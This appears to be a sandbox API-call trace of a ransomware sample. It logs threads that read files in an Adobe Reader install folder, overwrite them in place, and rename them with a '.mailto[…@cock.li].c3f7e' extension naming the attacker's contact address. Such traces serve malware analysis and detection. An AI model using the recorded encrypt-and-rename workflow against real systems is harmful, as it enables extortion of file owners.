	[0087.511] RtlRandom (in: Seed=0x1c4bf710 | out: Seed=0x1c4bf710) returned 0x5c595cbc
	[0087.511] RtlRandom (in: Seed=0x1c4bf710 | out: Seed=0x1c4bf710) returned 0x996aa1d
	[0087.511] RtlRandom (in: Seed=0x1c4bf710 | out: Seed=0x1c4bf710) returned 0xe4eb1ef3
	[0087.511] RtlRandom (in: Seed=0x1c4bf710 | out: Seed=0x1c4bf710) returned 0x66a81265
	[0087.511] RtlRandom (in: Seed=0x1c4bf710 | out: Seed=0x1c4bf710) returned 0x6d531fe9
	[0087.511] RtlRandom (in: Seed=0x1c4bf710 | out: Seed=0x1c4bf710) returned 0xb60925ff
	[0087.511] RtlRandom (in: Seed=0x1c4bf710 | out: Seed=0x1c4bf710) returned 0x97fb2b3e
	[0087.511] RtlRandom (in: Seed=0x1c4bf710 | out: Seed=0x1c4bf710) returned 0x54f74
	[0087.511] RtlRandom (in: Seed=0x1c4bf710 | out: Seed=0x1c4bf710) returned 0xcfdcb17c
	[0087.511] RtlRandom (in: Seed=0x1c4bf710 | out: Seed=0x1c4bf710) returned 0x69ae41e3
	[0087.511] RtlRandom (in: Seed=0x1c4bf710 | out: Seed=0x1c4bf710) returned 0x17f35d37
	[0087.511] RtlRandom (in: Seed=0x1c4bf710 | out: Seed=0x1c4bf710) returned 0xaebe3594
	[0087.511] RtlRandom (in: Seed=0x1c4bf710 | out: Seed=0x1c4bf710) returned 0xbfd72ed6
	[0087.511] RtlRandom (in: Seed=0x1c4bf710 | out: Seed=0x1c4bf710) returned 0x4e12bbf4
	[0087.511] RtlRandom (in: Seed=0x1c4bf710 | out: Seed=0x1c4bf710) returned 0xa2f75e71
	[0087.511] RtlRandom (in: Seed=0x1c4bf710 | out: Seed=0x1c4bf710) returned 0xc34cd692
	[0087.518] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813c8
	[0087.519] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d82d60
	[0087.519] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781760
	[0087.519] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82d60) returned 1
	[0087.519] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781558) returned 1
	[0087.519] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47815f8) returned 1
	[0087.519] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0087.519] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0087.519] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816c0
	[0087.519] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816c0) returned 1
	[0087.520] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4eaf810
	[0087.520] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f17820
	[0087.520] ReadFile (in: hFile=0x1afc, lpBuffer=0x4eaf810, nNumberOfBytesToRead=0x711, lpNumberOfBytesRead=0x1c4bf700, lpOverlapped=0x0 | out: lpBuffer=0x4eaf810*, lpNumberOfBytesRead=0x1c4bf700*=0x711, lpOverlapped=0x0) returned 1
	[0087.520] SetFilePointerEx (in: hFile=0x1afc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.520] WriteFile (in: hFile=0x1afc, lpBuffer=0x4f17820*, nNumberOfBytesToWrite=0x711, lpNumberOfBytesWritten=0x1c4bf6fc, lpOverlapped=0x0 | out: lpBuffer=0x4f17820*, lpNumberOfBytesWritten=0x1c4bf6fc*=0x711, lpOverlapped=0x0) returned 1
	[0087.521] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781468
	[0087.521] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781440
	[0087.521] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781440) returned 1
	[0087.521] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f17820) returned 1
	[0087.521] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4eaf810) returned 1
	[0087.521] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0087.521] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0087.521] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x51) returned 0x2d778a0
	[0087.521] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb300
	[0087.521] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0087.521] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781788
	[0087.522] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781788) returned 1
	[0087.522] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x51) returned 0x2d77540
	[0087.522] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781530
	[0087.522] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781800
	[0087.522] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781800) returned 1
	[0087.522] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0087.522] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb300) returned 1
	[0087.522] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x135) returned 0x481e928
	[0087.522] SetFilePointerEx (in: hFile=0x1afc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.522] WriteFile (in: hFile=0x1afc, lpBuffer=0x481e928*, nNumberOfBytesToWrite=0x135, lpNumberOfBytesWritten=0x1c4bf764, lpOverlapped=0x0 | out: lpBuffer=0x481e928*, lpNumberOfBytesWritten=0x1c4bf764*=0x135, lpOverlapped=0x0) returned 1
	[0087.523] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481e928) returned 1
	[0087.523] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77540) returned 1
	[0087.523] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781530) returned 1
	[0087.523] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d778a0) returned 1
	[0087.523] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781468) returned 1
	[0087.523] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0087.523] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813c8) returned 1
	[0087.523] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781760) returned 1
	[0087.523] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf8) returned 0x4778760
	[0087.523] wcscpy (in: _Dest=0x4778760, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Adobe.Reader.Dependencies.manifest" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Adobe.Reader.Dependencies.manifest") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Adobe.Reader.Dependencies.manifest"
	[0087.523] wcscat (in: _Dest=0x4778760, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Adobe.Reader.Dependencies.manifest.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Adobe.Reader.Dependencies.manifest.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0087.523] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Adobe.Reader.Dependencies.manifest.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x1c4bf71c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Adobe.Reader.Dependencies.manifest.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0087.523] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10e) returned 0x2e02570
	[0087.523] NtSetInformationFile (FileHandle=0x1afc, IoStatusBlock=0x1c4bf714, FileInformation=0x2e02570, Length=0x10e, FileInformationClass=0xa) returned 0x0
	[0087.524] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0087.524] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481dd08) returned 1
	[0087.524] NtQueryInformationFile (in: FileHandle=0x1afc, IoStatusBlock=0x1c4bf728, FileInformation=0x1c4bf700, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1c4bf728, FileInformation=0x1c4bf700) returned 0x0
	[0087.524] NtSetInformationFile (FileHandle=0x1afc, IoStatusBlock=0x1c4bf728, FileInformation=0x1c4bf700, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.525] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4778760) returned 1
	[0087.525] FlushFileBuffers (hFile=0x1afc) returned 1
	[0093.131] CloseHandle (hObject=0x1afc) 

Thread:
	id = 769
	os_tid = 0x1b30

	[0079.450] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AGMGPUOptIn.ini" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\agmgpuoptin.ini")) returned 0x20
	[0087.487] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AGMGPUOptIn.ini", dwFileAttributes=0x20) returned 1
	[0087.488] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AGMGPUOptIn.ini" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\agmgpuoptin.ini"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1af8
	[0087.489] GetFileSizeEx (in: hFile=0x1af8, lpFileSize=0x1c53fc48 | out: lpFileSize=0x1c53fc48*=1727) returned 1
	[0087.489] SetFilePointerEx (in: hFile=0x1af8, liDistanceToMove=0x6bb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.489] ReadFile (in: hFile=0x1af8, lpBuffer=0x1c53fbcc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1c53fbc8, lpOverlapped=0x0 | out: lpBuffer=0x1c53fbcc*, lpNumberOfBytesRead=0x1c53fbc8*=0x4, lpOverlapped=0x0) returned 1
	[0087.493] SetFilePointerEx (in: hFile=0x1af8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.493] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815f8
	[0087.493] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0087.493] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781558
	[0087.493] NtQuerySystemTime (in: CurrentTime=0x1c53fba8 | out: CurrentTime=0x1c53fba8*=132251868142257469) returned 0x0
	[0087.493] RtlRandom (in: Seed=0x1c53fbb4 | out: Seed=0x1c53fbb4) returned 0xb5f7667d
	[0087.493] RtlRandom (in: Seed=0x1c53fbb4 | out: Seed=0x1c53fbb4) returned 0x56f1bc4a
	[0087.494] RtlRandom (in: Seed=0x1c53fbb4 | out: Seed=0x1c53fbb4) returned 0x323f4e87
	[0087.494] RtlRandom (in: Seed=0x1c53fbb4 | out: Seed=0x1c53fbb4) returned 0xee207959
	[0087.494] RtlRandom (in: Seed=0x1c53fbb4 | out: Seed=0x1c53fbb4) returned 0x8d608a62
	[0087.494] RtlRandom (in: Seed=0x1c53fbb4 | out: Seed=0x1c53fbb4) returned 0xcadcfaac
	[0087.494] RtlRandom (in: Seed=0x1c53fbb4 | out: Seed=0x1c53fbb4) returned 0x9e495575
	[0087.494] RtlRandom (in: Seed=0x1c53fbb4 | out: Seed=0x1c53fbb4) returned 0x1d74512c
	[0087.494] RtlRandom (in: Seed=0x1c53fbb4 | out: Seed=0x1c53fbb4) returned 0x36e4ee4
	[0087.494] RtlRandom (in: Seed=0x1c53fbb4 | out: Seed=0x1c53fbb4) returned 0x8f1ac314
	[0087.494] RtlRandom (in: Seed=0x1c53fbb4 | out: Seed=0x1c53fbb4) returned 0x417dff9a
	[0087.494] RtlRandom (in: Seed=0x1c53fbb4 | out: Seed=0x1c53fbb4) returned 0xb49540eb
	[0087.494] RtlRandom (in: Seed=0x1c53fbb4 | out: Seed=0x1c53fbb4) returned 0xde527df
	[0087.494] RtlRandom (in: Seed=0x1c53fbb4 | out: Seed=0x1c53fbb4) returned 0x9de67ba7
	[0087.494] RtlRandom (in: Seed=0x1c53fbb4 | out: Seed=0x1c53fbb4) returned 0x446052f0
	[0087.494] RtlRandom (in: Seed=0x1c53fbb4 | out: Seed=0x1c53fbb4) returned 0x78caf733
	[0087.494] RtlRandom (in: Seed=0x1c53fbb4 | out: Seed=0x1c53fbb4) returned 0x1e1e1c8
	[0087.494] RtlRandom (in: Seed=0x1c53fbb4 | out: Seed=0x1c53fbb4) returned 0xb2a704bc
	[0087.494] RtlRandom (in: Seed=0x1c53fbb4 | out: Seed=0x1c53fbb4) returned 0x2f23bf93
	[0087.494] RtlRandom (in: Seed=0x1c53fbb4 | out: Seed=0x1c53fbb4) returned 0x22fd94b8
	[0087.494] RtlRandom (in: Seed=0x1c53fbb4 | out: Seed=0x1c53fbb4) returned 0x9941ac2e
	[0087.494] RtlRandom (in: Seed=0x1c53fbb4 | out: Seed=0x1c53fbb4) returned 0xb448610
	[0087.494] RtlRandom (in: Seed=0x1c53fbb4 | out: Seed=0x1c53fbb4) returned 0xb75d3a42
	[0087.494] RtlRandom (in: Seed=0x1c53fbb4 | out: Seed=0x1c53fbb4) returned 0x51812323
	[0087.494] RtlRandom (in: Seed=0x1c53fbb4 | out: Seed=0x1c53fbb4) returned 0x49a93973
	[0087.494] RtlRandom (in: Seed=0x1c53fbb4 | out: Seed=0x1c53fbb4) returned 0x3207035
	[0087.494] RtlRandom (in: Seed=0x1c53fbb4 | out: Seed=0x1c53fbb4) returned 0xdca9dac5
	[0087.494] RtlRandom (in: Seed=0x1c53fbb4 | out: Seed=0x1c53fbb4) returned 0x80a8b965
	[0087.494] RtlRandom (in: Seed=0x1c53fbb4 | out: Seed=0x1c53fbb4) returned 0x894ea3ab
	[0087.494] RtlRandom (in: Seed=0x1c53fbb4 | out: Seed=0x1c53fbb4) returned 0xadd5a393
	[0087.494] RtlRandom (in: Seed=0x1c53fbb4 | out: Seed=0x1c53fbb4) returned 0x9ca08b94
	[0087.494] RtlRandom (in: Seed=0x1c53fbb4 | out: Seed=0x1c53fbb4) returned 0x260f3368
	[0087.501] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813c8
	[0087.503] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d82d60
	[0087.503] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781760
	[0087.503] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82d60) returned 1
	[0087.503] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781558) returned 1
	[0087.503] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47815f8) returned 1
	[0087.503] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0087.503] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0087.503] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816c0
	[0087.503] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816c0) returned 1
	[0087.503] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4eaf810
	[0087.503] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f17820
	[0087.503] ReadFile (in: hFile=0x1af8, lpBuffer=0x4eaf810, nNumberOfBytesToRead=0x6bf, lpNumberOfBytesRead=0x1c53fba4, lpOverlapped=0x0 | out: lpBuffer=0x4eaf810*, lpNumberOfBytesRead=0x1c53fba4*=0x6bf, lpOverlapped=0x0) returned 1
	[0087.503] SetFilePointerEx (in: hFile=0x1af8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.503] WriteFile (in: hFile=0x1af8, lpBuffer=0x4f17820*, nNumberOfBytesToWrite=0x6bf, lpNumberOfBytesWritten=0x1c53fba0, lpOverlapped=0x0 | out: lpBuffer=0x4f17820*, lpNumberOfBytesWritten=0x1c53fba0*=0x6bf, lpOverlapped=0x0) returned 1
	[0087.504] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781468
	[0087.504] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781440
	[0087.505] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781440) returned 1
	[0087.505] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f17820) returned 1
	[0087.505] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4eaf810) returned 1
	[0087.505] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0087.505] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0087.505] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2b) returned 0x4764a10
	[0087.505] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb300
	[0087.505] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0087.505] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781788
	[0087.505] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781788) returned 1
	[0087.505] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2b) returned 0x4765148
	[0087.505] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781530
	[0087.505] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781800
	[0087.505] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781800) returned 1
	[0087.505] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0087.505] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb300) returned 1
	[0087.505] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10f) returned 0x2e02570
	[0087.505] SetFilePointerEx (in: hFile=0x1af8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.505] WriteFile (in: hFile=0x1af8, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x10f, lpNumberOfBytesWritten=0x1c53fc08, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x1c53fc08*=0x10f, lpOverlapped=0x0) returned 1
	[0087.506] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0087.506] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4765148) returned 1
	[0087.506] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781530) returned 1
	[0087.506] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4764a10) returned 1
	[0087.506] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781468) returned 1
	[0087.506] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0087.507] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813c8) returned 1
	[0087.507] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781760) returned 1
	[0087.507] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x2e44980
	[0087.507] wcscpy (in: _Dest=0x2e44980, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AGMGPUOptIn.ini" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AGMGPUOptIn.ini") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AGMGPUOptIn.ini"
	[0087.507] wcscat (in: _Dest=0x2e44980, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AGMGPUOptIn.ini.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AGMGPUOptIn.ini.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0087.507] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AGMGPUOptIn.ini.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x1c53fbc0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AGMGPUOptIn.ini.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0087.507] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x47ec428
	[0087.507] NtSetInformationFile (FileHandle=0x1af8, IoStatusBlock=0x1c53fbb8, FileInformation=0x47ec428, Length=0xe8, FileInformationClass=0xa) returned 0x0
	[0087.507] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ec428) returned 1
	[0087.507] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4767320) returned 1
	[0087.507] NtQueryInformationFile (in: FileHandle=0x1af8, IoStatusBlock=0x1c53fbcc, FileInformation=0x1c53fba4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1c53fbcc, FileInformation=0x1c53fba4) returned 0x0
	[0087.508] NtSetInformationFile (FileHandle=0x1af8, IoStatusBlock=0x1c53fbcc, FileInformation=0x1c53fba4, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.508] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e44980) returned 1
	[0087.508] FlushFileBuffers (hFile=0x1af8) returned 1
	[0093.130] CloseHandle (hObject=0x1af8) 

Thread:
	id = 770
	os_tid = 0x1b34

	[0079.450] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x78) returned 0x47bc090
	[0079.450] wcscpy (in: _Dest=0x47bc090, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AIR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AIR") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AIR"
	[0079.450] wcscat (in: _Dest=0x47bc090, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AIR\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AIR\\"
	[0079.450] wcscat (in: _Dest=0x47bc090, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AIR\\*") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AIR\\*"
	[0079.450] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dbeec0
	[0079.450] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AIR\\*", lpFindFileData=0x2dbeec0 | out: lpFindFileData=0x2dbeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xde91d4f2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xde91d4f2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xde91d4f2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b468
	[0087.426] wcscmp (_String1=".", _String2=".") returned 0
	[0087.427] FindNextFileW (in: hFindFile=0x477b468, lpFindFileData=0x2dbeec0 | out: lpFindFileData=0x2dbeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xde91d4f2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xde91d4f2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xde91d4f2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.428] wcscmp (_String1="..", _String2=".") returned 1
	[0087.428] wcscmp (_String1="..", _String2="..") returned 0
	[0087.428] FindNextFileW (in: hFindFile=0x477b468, lpFindFileData=0x2dbeec0 | out: lpFindFileData=0x2dbeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a672c00, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xde91d4f2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3a672c00, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3adf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.dll", cAlternateFileName="")) returned 1
	[0087.428] wcscmp (_String1="nppdf32.dll", _String2=".") returned 1
	[0087.428] wcscmp (_String1="nppdf32.dll", _String2="..") returned 1
	[0087.428] FindNextFileW (in: hFindFile=0x477b468, lpFindFileData=0x2dbeec0 | out: lpFindFileData=0x2dbeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a672c00, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xde91d4f2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3a672c00, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3adf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.dll", cAlternateFileName="")) returned 0
	[0087.428] FindClose (in: hFindFile=0x477b468 | out: hFindFile=0x477b468) returned 1
	[0087.428] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dbeec0) returned 1
	[0087.428] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bc090) returned 1
	[0087.428] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bc410) returned 1

Thread:
	id = 771
	os_tid = 0x1b38

	[0079.451] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x80) returned 0x498d8a0
	[0079.451] wcscpy (in: _Dest=0x498d8a0, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser"
